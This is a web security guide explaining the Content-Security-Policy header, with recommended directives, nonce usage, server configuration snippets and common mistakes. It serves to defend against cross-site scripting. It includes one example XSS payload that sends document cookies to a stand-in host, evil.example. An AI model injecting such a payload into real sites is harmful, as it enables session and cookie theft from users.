Content-Security-Policy (CSP) header
Tells the browser which scripts, styles, frames and connections a page may load. The strongest defence you can add against XSS.
Updated 3 November 2026
Check your site's CSP header
We send one normal request (following redirects) and grade the Content-Security-Policy header on the final response.
Recommended value
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'
| Value / directive | What it does |
|---|---|
| default-src | Fallback for every fetch directive you do not set explicitly. |
| script-src | Where JavaScript may come from. The directive that actually stops XSS. |
| 'nonce-…' / 'sha256-…' | Allow one specific inline script by a per-response random nonce or a hash of its content. |
| 'strict-dynamic' | Scripts loaded by an already-trusted (nonced) script are trusted too. Makes nonce policies practical with bundlers and tag managers. |
| object-src | Plugins (Flash, <object>). Set to 'none'. |
| base-uri | Stops injected <base> tags from redirecting relative script URLs. Set to 'self' or 'none'. |
| frame-ancestors | Who may frame this page. Replaces X-Frame-Options. Ignored when CSP is delivered in a <meta> tag. |
| form-action | Where forms may submit. Stops injected forms posting credentials elsewhere. |
| connect-src | fetch/XHR/WebSocket destinations. Add your API and analytics hosts here. |
| upgrade-insecure-requests | Rewrites http:// subresource URLs to https:// before fetching. |
| report-to / report-uri | Where the browser POSTs violation reports. |
What CSP protects against
Cross-site scripting works because the browser runs any script that ends up in your HTML. A Content-Security-Policy gives the browser an allowlist: scripts from these origins, or carrying this nonce, and nothing else. If an attacker injects <script>fetch('//evil.example?c='+document.cookie)</script> through an unescaped field, a policy without 'unsafe-inline' stops it from running.
CSP also covers clickjacking (frame-ancestors), form hijacking (form-action), <base> tag injection (base-uri) and mixed content (upgrade-insecure-requests).
Start in report-only mode
A policy that is too strict breaks your site, so roll it out in two steps:
- Send
Content-Security-Policy-Report-Onlywith your intended policy and areport-uri. Nothing is blocked; the browser reports what would have been. - When the reports only show things you expect, rename the header to
Content-Security-Policy.
You can send both headers at once while you tighten a policy that is already enforced.
Nonces, not 'unsafe-inline'
Most real sites have some inline script. Adding 'unsafe-inline' to script-src makes the whole policy almost useless against XSS, because injected scripts are inline too. Instead, generate a random nonce for every response, put it in the header ('nonce-r4nd0m') and on each legitimate <script nonce="r4nd0m"> tag. When a nonce or hash is present, browsers that understand nonces ignore 'unsafe-inline', so you can keep it as a fallback for very old browsers.
In Laravel, Vite::useCspNonce() generates the nonce and adds it to every tag Vite renders; read it back with Vite::cspNonce() for your header and any hand-written inline scripts. The spatie/laravel-csp package builds the header from a policy class if you prefer configuration to a raw string.
Alpine.js, Livewire and 'unsafe-eval'
Alpine's standard build evaluates x-data and @click expressions with new Function(), which needs 'unsafe-eval'. Alpine ships a separate CSP-friendly build (@alpinejs/csp) that avoids this but restricts what you can write in attributes. Decide deliberately: 'unsafe-eval' is a real weakening, but a policy with it is still far better than no policy.
How to set Content-Security-Policy
nginx
# Static policy (no nonces). Use the app for nonce-based CSP.
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'" always;
A static header cannot carry a per-response nonce. Use nginx for a hash- or allowlist-based policy, or set CSP in the application when you need nonces.
Apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'"
Laravel middleware
// app/Http/Middleware/ContentSecurityPolicy.php
use Illuminate\Support\Facades\Vite;
public function handle(Request $request, Closure $next): Response
{
Vite::useCspNonce(); // nonce added to every Vite tag
$response = $next($request);
$nonce = Vite::cspNonce();
$response->headers->set('Content-Security-Policy', implode('; ', [
"default-src 'self'",
"script-src 'self' 'nonce-{$nonce}' 'strict-dynamic'",
"style-src 'self'",
"img-src 'self' data:",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'none'",
"form-action 'self'",
]));
return $response;
}
// Inline scripts in Blade: <script nonce="{{ Vite::cspNonce() }}">…</script>
Express (Node.js)
const crypto = require('crypto');
const helmet = require('helmet');
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
}));
Cloudflare
Rules → Transform Rules → Modify Response Header → Set static.
Header name: Content-Security-Policy
Value: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
Static values only. For nonces, set the header in your application.
In nginx, an add_header inside a location block discards every add_header inherited from the server block. Repeat your security headers there, or use an include file. The always flag also sends the header on error responses.
Common mistakes
-
'unsafe-inline'inscript-srcwith no nonce or hash. The policy then blocks almost nothing an attacker would inject. -
Allowing whole CDNs such as
https://cdnjs.cloudflare.comorhttps:inscript-src. Attackers can load an old, gadget-rich library from the same CDN and bypass the policy. -
Forgetting
object-src 'none'andbase-uri 'self'. Both are classic bypasses. -
Delivering CSP in a
<meta>tag and expectingframe-ancestorsor reporting to work. They only work as a header. - Two CSP headers (for example one from nginx, one from the app). The browser enforces both, so a resource must pass every policy.
- Reusing the same nonce on every response. A nonce must be random and unique per response, or it is just a password printed on the page.
FAQ
What is a good default Content-Security-Policy?
default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'. Add the third-party hosts you really use, and use nonces for inline scripts instead of 'unsafe-inline'.
Is CSP in a meta tag as good as the header?
No. A <meta http-equiv="Content-Security-Policy"> tag cannot set frame-ancestors, report-uri or sandbox, and it only applies from the point it is parsed. Send it as an HTTP header.
Does CSP replace output escaping?
No. CSP is defence in depth. Keep escaping output ({{ }} in Blade) and validating input; CSP limits the damage when one of those fails.
What is the difference between Content-Security-Policy and Content-Security-Policy-Report-Only?
The first blocks violations. The report-only header blocks nothing and only reports, so you can test a policy on live traffic before enforcing it.
Related guides
Headers are one of 30+ things attackers check
The free StackShield scan also checks for exposed .env files, debug mode, leaked tooling, weak TLS and more, from the outside, in about a minute.
Run a free scan